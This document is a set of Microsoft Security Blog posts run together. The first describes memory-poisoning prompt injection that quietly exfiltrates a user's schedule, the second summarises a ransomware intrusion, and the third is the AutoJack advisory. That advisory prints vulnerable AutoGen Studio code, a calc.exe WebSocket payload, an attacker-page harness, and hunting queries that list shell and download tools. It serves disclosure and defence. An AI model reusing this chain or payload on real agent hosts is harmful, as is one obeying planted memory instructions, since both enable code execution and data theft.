Scenario: delayed tool execution through adversarial memory poisoning

The following is a hypothetical scenario illustrating this class of risk. While simplified for clarity, it reflects patterns observed in real-world research. Microsoft designs protections to detect and mitigate these patterns as they evolve:

A user opens a shared document. Its formatting contains hidden instructions embedded by an attacker intended for the AI assistant: a directive to exfiltrate the user’s schedule. The assistant processes the document but takes no immediate action.

Days later, in an unrelated conversation, that message triggers the dormant malicious instructions from the earlier session, causing the assistant to update its memory with attacker-defined content.  The attacker now gets all updates to the user’s schedule.

This is delayed tool invocation: the attack’s power lies in the temporal gap between exposure and execution.

How Microsoft approaches memory security in Microsoft 365

Memory Creation

Memories pass through sanitization checks on write. Proprietary Microsoft prompt-injection classifiers inspect content for malicious input and strip it before anything is written.  M365 Copilot is designed to run Task Adherence checks on every explicit memory write. Task Adherence identifies discrepancies such as misaligned tool invocations relative to user intent, mitigating prompt injection impact for the memory tool call.  Personalization using AI memory can be controlled with tenant level policy.

Memory Storage

Once stored, memories are governed by the data policies available across M365 like Data Subject Requests (DSR) and tenant isolation.  They follow the same security and compliance policies as other mailbox data, such as Customer Lockbox and encryption at rest.

Observability

M365 Copilot records when a memory is updated to organizational audit logs. The goal is end-to-end traceability: from the source content Copilot processed, to what it chose to remember, to how that memory influenced later interactions.

Today, SOC analysts can join the MemoryUpdated field, available in Defender Advanced Hunting, Defender Sentinel, and Azure Portal Sentinel Analytics, with their existing analytics to triage incidents and build new alerts on memory activity.

In summary:

CapabilityWhat It Means for YouTask AdherenceDetect tool call misalignment with user intent, mitigating prompt injection impact. This provides protection against manipulation of memory tool callsUnified compliance boundaryMemory governed by the same policies, retention rules, and investigation workflows as email, chat, and documentsMemory audit eventsProvides visibility into when memory changes, integrated with your existing security operationseDiscoverySupports search and removal of AI-related data using the compliance tools you already have.

Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening and enrichment underway. Capabilities described are subject to configuration, licensing, and service availability. The following section shares the framework guiding our investments.

This case study is based on MSRC cases from Johann Rehberger (first finder), Håkon Måløy, and Gal Zror.  We are grateful to the security researchers who engaged with us and informed better memory design practices through coordinated vulnerability disclosure. Their work strengthens the systems customers rely on.

A guiding framework for building safe AI memory

AI memory requires balancing personalization, capability, privacy, security, and governance.

Our AI memory strategy is guided by design principles for building safe memory systems. These principles address core failure modes that can undermine trust, security, and operability at scale.

1. Establish intent and provenance before persistence: Memory can be influenced indirectly by untrusted content, and without provenance it becomes difficult to assess whether stored information is trustworthy, appropriate to retain, or safe to use later. Memory should only be written when it reflects legitimate user intent, is aligned to the service’s purpose, and carries clear metadata about where it came from.
2. Enforce boundaries outside the model: Memory access and isolation should be controlled by deterministic systems, not model instructions. Prompting alone is not a reliable security boundary; strong enforcement prevents sensitive memory from leaking across users, agents, or tenants.
3. Treat retrieval as a risk decision: Memory that was safe to store can become stale, manipulated, or misleading over time. Uncritical retrieval can directly affect agent behavior. Treat retrieved candidate context and re-evaluated for relevance, freshness, and tampering before use.
4. Provide full lifecycle visibility for security teams: Without auditability and chain of custody, memory cannot be reliably investigated, trusted, or safely expired during incident response. Security teams need clear records of what changed, when, why, from where, and access attempts.
5. Keep users in control: Users should be able to understand how memory is shaping their experience and have meaningful controls to review, edit, and delete it. Transparency and control are essential to user trust, and they help ensure memory remains aligned with user expectations over time.

Taken together, these principles reflect where we’re headed: advancing agent capability and control together. Getting that balance right is one of the hardest challenges in the industry, but we believe the agents that scale furthest will be the ones that are also trustworthy, governable, and resilient by design.

Key takeaways

• Memory turns transient threats into persistent ones.
• You can’t secure what you can’t see. Full lifecycle logging of memory operations is the foundation of agentic safety.
• Attackers are already thinking across turns. Single-turn defenses are insufficient for AI memory systems.
• Memory expands the blast radius.
• Microsoft treats memory protections, auditability, and governance as an integral part of the broader trust and compliance architecture.
• Microsoft continues to invest in AI memory security as an active, iterative program. The protections and visibility described here reflect capabilities available today, with continued hardening underway to address emerging threats.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Guarding AI memory appeared first on Microsoft Security Blog.

What began as a routine ransomware investigation quickly revealed something far more complex. In this ninth cyberattack series report, DART details how a single intrusion uncovered parallel activity from two unrelated threat actors operating simultaneously—blending tactics, obscuring signals, and challenging traditional assumptions about how multi-stage intrusion campaigns unfold across hybrid environments. Read on to learn more or access the full report.

Read the full cyberattack report What happened?

The investigation revealed a multi-stage intrusion that blended familiar ransomware activity with quieter, more deliberate techniques designed to establish deep and lasting access. DART found that Storm-2603 had been targeting on-premises SharePoint servers since mid-2025, exploiting known vulnerabilities while simultaneously probing for additional entry points through reconnaissance activity—such as requests for sensitive configuration files often used to validate local file inclusion weaknesses. In this case, initial access was likely attempted through a separate vulnerability, with requests for files like win.ini and web.config, indicating probing for local file inclusion. While exploitation wasn’t confirmed, the timing and activity suggest reconnaissance for entry points.

Once inside, the threat actor shifted focus to persistence and control. Using legitimate tools to blend in, they deployed Velociraptor with SYSTEM-level privileges to map the environment, then established multiple remote access channels through Cloudflare tunneling, Zoho Assist, and Secure Shell (SSH) connections configured through Visual Studio Code. Velociraptor, a legitimate forensic and incident response tool, was deployed by the threat actor to map the environment and operate with high-level privileges—blending malicious activity with trusted administrative behavior. Privilege escalation followed, with new local and domain administrator accounts created to maintain access, while defense evasion techniques—including the use of a vulnerable driver to tamper with memory and disable protections—helped reduce their visibility.

As DART correlated activity across the environment, investigators uncovered signs of a second, unrelated threat actor operating in parallel. Malicious dynamic link library (DLL) sideloading and custom backdoors—techniques not associated with Storm-2603—introduced an additional layer of complexity, obscuring attribution and complicating detection. Together, these overlapping activity streams enabled sustained access while masking the full scope of the intrusion.

Dynamic link library (DLL) sideloading is popular with threat actors because it can be misused to hide behind trusted software (execution looks legitimate), to evade detection by running inside known applications, and to execute payloads, install backdoors, or maintain persistence.

How did Microsoft respond?

DART moved quickly to contain the active intrusion involving multiple threat actors and stabilize the environment, activating a structured response playbook focused on limiting threat actor impact and restoring control. By correlating telemetry across identities, endpoints, and cloud resources, responders established a unified view of the intrusion, enabling them to detect abnormal behavior, uncover credential misuse, and track threat actor activity as it evolved. Continuous coordination with the customer, including daily briefings, ensured that containment actions were timely, aligned, and effective in reducing further threat actor movement.

At the same time, collaboration with Microsoft Threat Intelligence provided critical context that reshaped the investigation. By connecting incident data with broader intelligence, DART identified two distinct threat actors operating simultaneously within the same environment—each masking the other’s activity and complicating detection. Beyond containment, the team delivered targeted guidance to strengthen the organization’s security posture, helping close visibility gaps and improve resilience against future identity compromise and ransomware-driven attacks.

What can customers do to strengthen their defenses?

This case underscores the importance of closing common gaps across exposure, identity, and visibility. Organizations should prioritize rigorous patching and vulnerability management—especially for internet-facing systems—to reduce the risk of initial access. At the same time, strengthening identity security is critical to limiting threat actor escalation and persistence. At a high level, customers can avoid similar cyberattacks by focusing on ways to:

• Establish broad, continuous visibility:
  Deploy endpoint protection widely and retain telemetry centrally to support detection, investigation, and correlation.
• Monitor and restrict trusted tools:
  Validate and oversee the use of remote access, tunneling, and administrative tools that threat actors may exploit for persistence and lateral movement.
• Prepare for rapid, coordinated response:
  Maintain tested incident response playbooks and ensure teams can quickly isolate compromised users, devices, and access paths to reduce dwell time.

Today’s modern cyberattacks can quickly evolve beyond a single incident-blending tactic, spanning environments, and even involving multiple threat actors operating in parallel. For security teams, the takeaway is clear: isolated signals rarely tell the full story. Organizations that invest in connected telemetry, coordinated response, and operational preparedness will be better positioned to detect adversary activity such as credential abuse and lateral movement earlier, contain active intrusions faster, and limit their overall impact.

What is the Cyberattack Series?

In our Cyberattack Series, customers discover how DART investigates unique and notable attacks. For each cyberattack story, we share:

cyberattack series no. 8

Read the report ›

• How the cyberattack happened.
• How the breach was discovered.
• Microsoft’s investigation and eviction of the threat actor.
• Strategies to avoid similar cyberattacks.

DART is made up of highly skilled investigators, researchers, engineers, and analysts who specialize in handling global security incidents. We’re here for customers with dedicated experts to work with you before, during, and after a cybersecurity incident.

Get the full cyberattack report Learn more

To learn more about DART capabilities, please visit our website, or contact your Microsoft account manager or Premier Support contact. To learn more about the cybersecurity incidents described above, including more insights and information on how to protect your own organization, download the full report.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post One intrusion, two cyberattackers: Uncovering parallel threat activity appeared first on Microsoft Security Blog.

In this article

1. Why we are looking at agent frameworks
   1. What is AutoGen Studio 
2. The AutoJack chain at a glance
3. Anatomy of the chain
   1. Issue 1: Origin allowlist that the agent itself defeats
   2. Issue 2: Auth middleware that opts MCP out
   3. Issue 3: server_paramsfrom the URL is the command line
4. Putting it together: a realistic scenario
   1. Fixes and hardening measures applied
5. Mitigation and protection guidance 
   1. How Microsoft helps secure agentic systems
   2. Microsoft Defender detections 
   3. What this means for the broader agent ecosystem 
6. Learn more

Ongoing research into AI agent framework security identified an exploit chain in AutoGen Studio (AutoGen’s open-source prototyping user interface) that allows untrusted web content rendered by a browsing agent to reach a local Model Context Protocol (MCP) WebSocket and spawn arbitrary processes on the host. The technique, which we call AutoJack, jacks the agent into becoming the attacker’s last-mile delivery vehicle by crossing the localhost trust boundary that many developer tools rely on.

We reported the behavior to the Microsoft Security Response Center (MSRC); following the report the maintainers hardened the upstream main branch in commit b047730. This issue was identified and addressed during development. The affected MCP WebSocket surface was never included in a Python Package Index (PyPI) release, so users who install AutoGen Studio from PyPI aren’t exposed to this specific chain.

The broader lesson is general: if an agent can browse untrusted pages and also talk to privileged local services, loopback can become an attack surface and control planes must be authenticated, authorized, and isolated.

Why we are looking at agent frameworks

Modern AI agents are not just text generators. They read files, browse pages, call APIs, and shell out to tools. That is exactly what makes them useful, and exactly why there is investment in finding systemic execution risks in the frameworks that wire models to tools. Earlier in this series we covered RCE primitives in Microsoft Semantic Kernel. In this post we move one layer up the stack to an infrastructure and developer-facing prototyping surface and show how the same agent capabilities that make these tools valuable for experimentation can become a delivery channel for remote code execution when the prototype runs without safeguards. 

The takeaway is not to avoid prototypes. It is this: when an agent on your core server or laptop can browse the open web and communicate with privileged local services, localhost stops being a trust boundary. Defenders need to plan for that, and these findings show why. 

What is AutoGen Studio 

AutoGen Studio is a user interface (UI) on top of AutoGen, Microsoft Research’s framework for multi-agent systems. It lets developers compose agents, attach tools, including MCP servers, and run quick experiments. Its documentation is clear about intended use. In other words, it is a research prototype with expected developer-experience tradeoffs: defaults tuned for ease of iteration rather than hardened deployment. 

The AutoJack chain at a glance

The explanation below is for demonstrative purposes only. The exploit chain doesn’t work on current builds. It is included here so that defenders can recognize the pattern in other agent frameworks. 

The exploit chain composes three independent weaknesses in AutoGen Studio’s MCP WebSocket surface: 

1. Origin allowlist trusts localhost – but a local agent is localhost (CWE-1385 – Missing Origin Validation in WebSockets): The MCP WebSocket only accepts connections whose Origin is http://127.0.0.1 or http://localhost. That blocks a browser pointed at evil.com. It does not block JavaScript that is rendered by a headless browser owned by an AutoGen agent on the same machine. 

2. Authentication middleware is opt-out for MCP paths (CWE-306 – Missing Authentication for Critical Function): The auth middleware in AutoGen Studio explicitly skipped /api/mcp/* (and /api/ws/*) on the assumption that these would do their own checks. The MCP WebSocket handler did not implement that follow-up check. As a result, the MCP WebSocket accepted connections without any authentication regardless of the auth mode configured for the rest of the app. 

3. StdioServerParams from the URL is executed verbatim (CWE-78 – Improper Neutralization of Special Elements used in an OS Command): The endpoint accepted a server_params query parameter, base64-decoded a JSON blob into StdioServerParams, and handed command + args to stdio_client(…). There was no allowlist – calc.exe, powershell.exe -enc …, or bash -c ‘…’ were all accepted as “MCP servers.” 

Chain these together with a webpage on the open internet, rendered by an AutoGen agent running on the same machine, and you have a remote code execution primitive. No user interaction is required beyond getting the agent to render the attacker’s page. 

Figure 1. End-to-end exploitation chain. An attacker page is rendered by a local browsing agent; the page opens a WebSocket to ws://localhost:8081/api/mcp/ws/?server_params=; AutoGen Studio decodes the payload and spawns the attacker-supplied command under the developer’s account.

We named the technique AutoJack: an attacker carjacks the browsing agent and uses it as a confused deputy to drive across the localhost boundary into AutoGen Studio’s MCP control plane. 

Anatomy of the chain Issue 1: Origin allowlist that the agent itself defeats

AutoGen Studio’s MCP WebSocket relies on the conventional defense for browser-driven cross-site WebSocket hijacking (CSWSH): allow only same-origin connections from 127.0.0.1 / localhost. 

allowed_origins = [“http://127.0.0.1”, “http://localhost”] 

That is the right control for a human user opening a tab to evil[.]com. The browser will set the Origin header to hxxps://evil[.]com, the check will fail, and the connection will be refused. 

Origin checks alone are not the right control for an agent. An AutoGen agent equipped with built-in web-browsing tooling, such as MultimodalWebSurfer, fetch_webpage_tool, any Playwright-backed surfer, or a code-execution tool that runs requests/websockets is a process on the workstation. Anything it loads inherits the localhost identity. The “origin” of any JavaScript executed by that headless browser is whatever the agent navigated to – and the WebSocket call it then makes carries an Origin that satisfies the allowlist. 

Figure 2. Origin bypass via agent. AutoJack – a browsing agent on the developer’s workstation is steered by external content into the AutoGen Studio MCP control plane on localhost, dissolving the loopback trust boundary. Issue 2: Auth middleware that opts MCP out

AutoGen Studio supports several authentication modes (none, github, msal, firebase). All of them are wired into a single AuthMiddleware that runs ahead of FastAPI route dispatch. In the version on PyPI, that middleware contains an early-return for WebSocket-style paths: 

# auth excluded for these paths; they were intended to do their own checks if request.url.path.startswith("/api/ws") or request.url.path.startswith("/api/mcp"): return await call_next(request)

The intent is reasonable: ASGI middlewares cannot meaningfully gate WebSocket handshakes the same way they gate HTTP requests, so the design called for the WebSocket handler to enforce auth itself at accept time. The MCP (Model Context Protocol) route never picked up that responsibility. As a result, the table below holds for the released package: 

Auth configuration REST API protected? /api/mcp/ws/* protected? type: none No No type: github Yes No type: msal Yes No type: firebase Yes No 

Turning on auth in config.yaml does not close this hole on its own. 

Issue 3: server_paramsfrom the URL is the command line

The MCP WebSocket route in the development build reads a server_params query parameter, base64-decodes it, JSON-parses it into StdioServerParams, and passes that into stdio_client(…): 

@router.websocket("/ws/{session_id}") async def mcp_websocket(websocket: WebSocket, session_id: str): encoded = websocket.query_params.get("server_params") decoded = base64.b64decode(encoded) params = StdioServerParams(**json.loads(decoded)) await create_mcp_session(bridge, params, session_id)

StdioServerParams.command and StdioServerParams.args are passed to stdio_client, which uses them to spawn an MCP “server” process. There is no allowlist that the executable be an MCP-speaking binary, so the same plumbing happily spawns calc.exe, powershell.exe -enc …, or bash -c ‘…’. 

A minimal payload looks like: 

{ "type": "StdioServerParams", "command": "calc.exe", "args": [], "env": { "pwned": "true" } }

Base64-encoded into a query string, the full reach-out is: 

ws://localhost:8081/api/mcp/ws/?server_params=

Combined with Issues 1 and 2, all an attacker needs is for the agent to render a page that opens that URL. 

Putting it together: a realistic scenario

To validate the end-to-end chain, we wrote two tiny harnesses: 

malicious_web_server.py: a web page served at http://attacker[.]example/websocket-interactive. Its only meaningful content is a <script> that opens the WebSocket above with a base64 payload that runs calc.exe. 

web_summarizer_app.py: a small “Web Content Summarizer” AutoGen agent wrapped in a Flask UI. The app takes a URL from the user and hands it to a MultimodalWebSurfer agent with the prompt “Browse this URL and summarize its content.” It is, in other words, a fully-fledged AutoGen agent that anyone could build on top of the framework – the Flask page is just the interface. 

The end-to-end flow looks like this: 

The developer has built an AutoGen agent such as a Web Page Summarizer, or any agent with browsing capabilities, that runs on the same machine as AutoGen Studio. 

An attacker plants a malicious comment on a legitimate news site, or a user asks the summarizer agent to summarize an attacker-controlled URL. This can happen through a direct prompt, a prompt injection in earlier content, or a URL field in the app. 

The agent’s browsing tool, MultimodalWebSurfer in our case, then navigates the headless browser to the attacker’s page. 

The page’s JavaScript opens ws://localhost:8081/api/mcp/ws/<id>?server_params=<base64>. Because the browser is on the same machine, the Origin is acceptable; because the auth middleware short-circuits /api/mcp/*, no token is required. 

AutoGen Studio decodes the payload and runs calc.exe (or anything else) under the developer’s account. 

Note that we packaged the demonstration as a controlled local proof of concept, See it end-to-end.

The screenshots below show the full chain on a single workstation: the developer launches AutoGen Studio on localhost:8081 (the default port), opens the Web Content Summarizer app, and submits an attacker-controlled URL. Within seconds of MultimodalWebSurfer rendering the page, calc.exe pops on the developer’s desktop, launched by the AutoGen Studio process, not by the browser and not by the agent’s headless Chromium. 

Autogen Studio. The AutoGen browser agent we built retrieves and summarizes website content as designed. AutoJack in action: The browsing agent renders an attacker page; the page’s JavaScript opens a WebSocket to ws://localhost:8081/api/mcp/ws/…?server_params=; AutoGen Studio decodes the payload and spawns calc.exe. In a real-world deployment, the same primitive could be used to execute other attacker-chosen commands on whichever host is running AutoGen Studio, depending on the privileges of that process. Fixes and hardening measures applied

The issue was fixed with the help of the Microsoft Security Response Center. The maintainers implemented the necessary hardening measures, helping protect users ahead of full release and broader adoption: 

Server-side parameter binding. On main, the WebSocket handler no longer reads server_params from the URL. A separate POST /api/mcp/ws/connect route stores the parameters server-side in pending_session_params, keyed by a universally unique identifier (UUID). The WebSocket handler pops the entry by session ID and refuses unknown IDs with close code 4004. The code comment is explicit: “This prevents attackers from injecting arbitrary server_params via the WebSocket query string.” 

Tighter auth skip list. The middleware skip-list on main no longer includes /api/mcp. It includes only /api/ws and /api/maker. MCP routes now flow through the normal auth path. 

These changes are present in the AutoGen main branch as of commit b047730, and pyproject.toml on main is at version 0.7.2.

Crucially, this issue was identified and remediated before any PyPI release, so the affected code never shipped in a published package. The exposure was limited to developers who built AutoGen Studio from the main GitHub branch during the window between the MCP plugin landing and the hardening commit. This was confirmed by downloading autogenstudio 0.4.2.2, the current published release, and inspecting its contents directly: the package doesn’t include autogenstudio/web/routes/mcp.py, the FastAPI application in app.py does not mount an /api/mcp router, and a recursive search across all 55 Python files found no matches for StdioServerParams or /api/mcp.. In other words, users who run pip install autogenstudio today gets a build that does not contain the MCP WebSocket attack surface at all. 

Mitigation and protection guidance 

If you are running AutoGen Studio 

Deploy AutoGen Studio strictly as a developer prototype in an isolated environment, not as an internet-exposed service, aligning as documented. 

If you install autogenstudio with pip (currently 0.4.2.2), you are not exposed to this specific chain. The issue was identified and addressed during development before any PyPI release, and the affected MCP WebSocket route is not present in the published package. The general guidance below still applies because the pattern (an agent on the box reaching localhost services) is broader than this one bug. 

If you build from the main branch for MCP support, use a build at or after commit b047730.

Do not run AutoGen Studio with a browsing or arbitrary code execution agent on the same machine as untrusted content. That combination is the substrate the chain needs, and similar shapes will recur as the project evolves.

Bind to loopback only and add a host firewall rule that blocks all non-loopback traffic to the port 8081 (default).

Place AutoGen Studio behind an authenticated reverse proxy that enforces auth on all paths, including any future WebSocket or /api/* routes. Don’t rely on framework auth modes alone for control-plane endpoints.

Run AutoGen Studio under a low-privilege account in a sandboxed user profile or container so that any future agent-driven RCE is contained to a dev profile, not your daily-driver account.

If you are building agent apps on top of AutoGen 

The deeper lesson is broader beyond this one project. When an agent can both browse external content and reach privileged local services on localhost, it can unintentionally create a confused-deputy scenario. Defend against it by: 

Treating any tool parameter that is reachable from model output as attacker controlled. 

Refusing to bind sensitive control planes (debug endpoints, MCP control sockets, code executors, dev databases) to localhost without authentication. Loopback is an attack surface for any agent on that machine. 

Allowlisting which executables may be invoked as MCP “servers,” instead of accepting command/args from any caller. 

Separating the agent browsing identity from the developer’s identity (different OS user, container, or VM). 

How Microsoft helps secure agentic systems 

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

How Microsoft helps secure agentic systems

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

https://learn.microsoft.com/en-us/azure/ai-services/content-safety/concepts/jailbreak-detection

Microsoft Defender for Cloud Threat Protection for AI Services raises alerts on jailbreak, data leakage, and credential theft patterns observed against Azure-hosted models, including models used by AutoGen agents when routed through Azure AI services. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-threat-protection

Microsoft Defender for Cloud AI Security Posture Management (AI-SPM) builds an AI bill of materials (AI BOM), scans infrastructure as code (IaC) and container dependencies for vulnerable AI components, and runs attack path analysis. This helps inventory where AutoGen Studio, or similar prototypes, is deployed across cloud and developer environments. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-security-posture

Microsoft Foundry AI Red Teaming Agent and the open-source PyRIT automate adversarial probing for indirect prompt injection, prohibited actions, and sensitive data leakage. Run these tools against your own agent prototypes before allowing them to browse the open web. 

https://learn.microsoft.com/en-us/azure/foundry/concepts/ai-red-teaming-agent https://github.com/microsoft/PyRIT  At the endpoint (catch the spawn and the post-exploitation) 

Microsoft Defender is a high-leverage control for this chain. The AutoJack primitive ends with a Python or Node parent process spawning an unexpected child process through StdioServerParams, which matches the behavioral pattern that endpoint detection and response (EDR) and automated investigation and response (AIR) are designed to catch. 

https://learn.microsoft.com/en-us/defender-endpoint/

Network Protection and Web Content Filtering and custom IP, URL, and domain indicators can block the headless browser from reaching known malicious sites. They can also let you blackhole an attacker domain across the fleet after identification, provided that headless browser traffic is routed through the operating system network stack inspected by Network Protection. 

https://learn.microsoft.com/en-us/defender-endpoint/network-protection https://learn.microsoft.com/en-us/defender-endpoint/web-content-filtering

Microsoft Defender Vulnerability Management software inventory helps locate machines running vulnerable versions of agent frameworks. One caveat is that pip-installed Python packages might not always appear in standard inventory parsers, so hunt for them through process and file telemetry as well. 

https://learn.microsoft.com/en-us/defender-vulnerability-management/ Identity, network, and data containment 

Microsoft Entra Conditional Access gates source, cloud, and tenant access based on risk signals including compliant device, compliant network and agent risk, which blocks access in real-time.  Privileged Identity Management (PIM) helps keep admin tokens out of standing reach and limits blast radius if a developer workstation is compromised.

https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview

Microsoft Entra Agent ID extends familiar Microsoft Entra capabilities to AI agents and treats agents as a first-class identity. It brings together identity management, access protection, governance, and compliance controls to manage, govern, and protect AI agents. This reduces the blast radius of confused-deputy attacks such as AutoJack by ensuring agents operate under distinct governed identities rather than inheriting a developer’s ambient privileges. 

https://www.microsoft.com/en-us/security/blog/2025/05/19/announcing-microsoft-entra-agent-id-secure-and-manage-your-ai-agents/

Microsoft Defender detects and helps contain lateral movement and credential abuse if an attacker pivots from a compromised workstation into Active Directory (AD) or Microsoft Entra. 

https://learn.microsoft.com/en-us/defender-for-identity/what-is Hardening the dev environment itself 

Microsoft Dev Box provides cloud-hosted, IT-managed developer workstations with Intune, Conditional Access, and Microsoft Defender for Endpoint by default. It is a structurally safer place to run experimental AutoGen builds than a personal laptop. Windows Sandbox, generally available on Pro, Enterprise, and Education editions, is a lightweight equivalent for one-off experiments. A successful AutoJack-style remote code execution (RCE) event is contained within the sandbox and discarded when the sandbox closes. 

https://learn.microsoft.com/en-us/azure/dev-box/overview-what-is-microsoft-dev-box https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview

Microsoft Defender for Cloud DevOps Security (general availability, or GA), together with GitHub Advanced Security capabilities such as Dependabot, secret scanning, and CodeQL, helps surface vulnerable framework versions pinned in repository manifests and detect credentials that workstation remote code execution could exfiltrate from source code. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-devops-introduction Investigation and response 

Investigation and response 

Microsoft Defender advanced hunting is where the queries below run. Use Microsoft Security Copilot to summarize incidents, generate Kusto Query Language (KQL), and triage alerts produced by the controls above. 

https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-overview https://learn.microsoft.com/en-us/copilot/security/microsoft-security-copilot Microsoft Defender detections 

Organizations can use the hunting queries below to identify suspicious child-process creation and related activity consistent with this technique on hosts running AutoGen Studio, then investigate and contain as appropriate. 

Advanced hunting queries 

Use these Microsoft Defender advanced hunting queries to look for the AutoJack chain on hosts running AutoGen Studio. Tune the time range and process names for your environment. 

1. Suspicious children spawned by an autogenstudio host process 

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessCommandLine matches regex @"(?i)autogenstudio|autogen[\s_\-]?studio" or InitiatingProcessFolderPath matches regex @"(?i)autogenstudio" | where FileName in~ ( "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe", "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "curl.exe", "wget.exe", "bitsadmin.exe" ) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc

2. WebSocket reach-outs to the AutoGen Studio MCP control plane carrying server_params 

This is most useful when paired with a network sensor that surfaces local WebSocket upgrade requests, but it can also be approximated by using process command lines that construct the URL manually. 

DeviceNetworkEvents | where Timestamp > ago(30d) | where RemotePort in (8081, 8080) | where RemoteUrl has "/api/mcp/ws/" and RemoteUrl has "server_params=" | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl | sort by Timestamp desc

3. Browser-automation hosts navigating to non-corporate domains during an AutoGen Studio session 

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessFileName in~ ("python.exe", "pythonw.exe", "node.exe") | where InitiatingProcessCommandLine has_any ("playwright", "MultimodalWebSurfer", "autogen") | join kind=inner ( DeviceNetworkEvents | where Timestamp > ago(30d) | where not(RemoteUrl has_any("microsoft.com", "msft.net", "office.com", "")) | project DeviceName, InitiatingProcessId, RemoteUrl, Timestamp ) on DeviceName, $left.ProcessId == $right.InitiatingProcessId | project Timestamp, DeviceName, AccountName, ProcessCommandLine, RemoteUrl | sort by Timestamp desc

If any of these queries surface activity during a period when AutoGen Studio was running with a browsing or code-execution agent, treat the host as a potential development-environment compromise. Review the host, rotate developer credentials and tokens accessible from it, and check whether anything was written to autostart locations. 

What this means for the broader agent ecosystem 

AutoJack is less interesting because of its individual bugs, each of which is a reasonable shortcut in a research-grade prototype, and more interesting because of the chain’s overall shape. We expect to see the same pattern across the ecosystem: 

1. A development tool exposes a powerful local control plane. 

2. That control plane is protected by an origin or localhost-only assumption. 

3. The user routinely runs an agent on the same machine, and that agent is willing to render arbitrary web content. 

That triangle dissolves the localhost trust boundary. The durable response is to authenticate and authorize every control plane regardless of origin, allowlist dangerous primitives such as process execution, file write and network egress, and isolate agent identity from developers identity.  

AutoJack shows that localhost is no longer a trust boundary when agents can browse untrusted content and interact with privileged local control planes. The durable defense is consistent with control-plane authentication and authorization, strict allowlisting of high-risk actions, and identity isolation between agents and developers. 

This research is provided by Microsoft Defender Security Research, Shaked Ilan, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post AutoJack: How a single page can RCE the host running your AI agent  appeared first on Microsoft Security Blog.